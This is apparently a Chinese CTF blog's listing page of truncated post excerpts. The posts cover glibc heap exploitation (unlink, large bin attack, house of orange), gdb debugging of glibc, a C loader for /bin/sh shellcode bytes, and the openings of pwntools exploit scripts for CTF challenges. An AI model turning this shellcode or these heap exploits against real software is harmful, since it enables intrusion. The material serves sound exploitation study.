unlink_attack源码分析
unlink attack这是unlink的攻击过程
123456789101112131415161718192021222324252627#include <stdio.h>#include <stdlib.h>#include <stdint.h>#include <assert.h>uint64_t var1; int main(){ uint64_t *p0 = malloc(0x40); uint64_t *p1 = malloc(0x100); uint64_t *p2 = malloc(0x90); malloc(0x20); var1 = (unsigned long)p1; p1[0] = 0; p1[1] = p1[-1]-0x10; p1[2] = (unsigned long)(&var1-3); p1[3] = (unsigned long)(&var1-2); p2[-2] = p1[-1]-0x10-1; p2[-1] = 0xa0;//把pre_inuse置0 fre ...
largebin_attack 源码分析
Large bin attack源码分析12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394959697static void *_int_malloc (mstate av, size_t bytes){ if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ())) ...//在现有fastbin中取,若取出则直接返回 if (in_smallbin_range (nb)) ... //在现有smallbin中取,若取出则直接返回 else //in_largebin_range ... for(;; ) { w ...
house_of_orange源码分析
获取free_chunk程序中并没有free函数,但是可以利用以下方法获取free_chunk.
当malloc(size);时,malloc() -> __libc_malloc -> _int_malloc,以下简化了逻辑
1234567891011121314151617181920212223242526272829303132static void *_int_malloc (mstate av, size_t bytes){ if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ())) ... if (in_smallbin_range (nb)) ... else //in_largebin_range ... 通过malloc_consolidate合并且无法在已有的bins内找到 goto use_top ... use_top: victim = av->top; size = c ...
以glibc源码调试程序的方法
总结写在前,第一种方法最有效。第二种适合调试其他版本。第三种很磨练意志。
方法1
安装带调试的libc
sudo apt install libc6-dbg
sudo apt install libc6-dbg:i386
下载源码
首先修改/etc/apt/sources.list,将deb-src配置开启
更新sudo apt update
使用apt source下载源码apt source libc6-dev
导入
gdb file -d glibc/malloc/ -d glibc/libio/
directory glibc/libio/
方法2查看glibc版本123456789101112131415giles@ubuntu:~/Desktop $ ldd /bin/bash linux-vdso.so.1 (0x00007fff9a575000) libtinfo.so.6 => /lib/x86_64-linux-gnu/libtinfo.so.6 (0x00007f14d656d000) libdl.so.2 => /lib/x86_ ...
学io的记录
hctf2018_the_end
开了pie对text段的断点 b *$rebase(addr)
对libc地址的断点 b *(&_IO_cleanup+137)
one_gadget多个 one_gadget elf --level 1
栈回溯的方式追踪程序流
手动修改 set {long}&_IO_2_1_stdout_->vtable = arr
运行shellcode
123456789101112#include <stdio.h>int main(void){ unsigned char shellcode[]="\x6a\x68\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x2f\x73\x50\x48\x89\xe7\x68\x72\x69\x01\x01\x81\x34\x24\x01\x01\x01\x01\x31\xf6\x56\x6a\x08\x5e\x48\x01\xe6\x56\x48\x89\xe6\x31\xd2\x6a\x3b\x58\x0f\x0 ...
陕西省第一届网络安全比赛 pwn
paper思路
泄露libc 当fastbin里没有合适的,在unsorted bin内分割,从而遗留了fd bk
漏洞点在 论文查重有个数组越界
还有一种泄露environ的方式解题
这道题某些功能逻辑生硬 就不留附件了意义exp123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164 ...
2021ciscn pwn
lonelywolf附件attachment
exp12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273#!/usr/bin/env python from pwn import *context.log_level = "debug"p = process("./lonelywolf")elf = ELF("./lonelywolf")libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")def malloc(size): p.recvuntil("choice: ") p.sendline("1") p.recvuntil("Index: ") p.sendline("0" ...
强网先锋 shellcode
seccomp规则值得注意的是
没有检查架构
没有检查sys_num是否越界
只有read,没有write
有系统调用号为5的 可切换到32位open思路
可打印的shellcode1 完成read() jmp 接着就能控制执行流
用汇编边写边调 完成在 32bit open 64bit write 延时爆破EXP看了几个大佬的exp 复写了这个 因为这个exp条件要求低,更可控,会把参考的大佬内容放在下面
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394959697989910010110210310410510610710810911011111211311411511611711811912012112212312412512612712812913013113213 ...
强网先锋 orw
exp附件放下边了
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253#!/usr/bin/env pythonfrom pwn import *context.log_level = 'debug'context.arch = 'amd64'context.os = 'linux'p = process("./pwn")def add(index,size,content): p.recvuntil("choice >>\n") p.sendline("1") p.recvuntil("index:\n") p.sendline(str(index)) p.recvuntil("size:\n") p.sendline(str(size)) p.recvuntil(&quo ...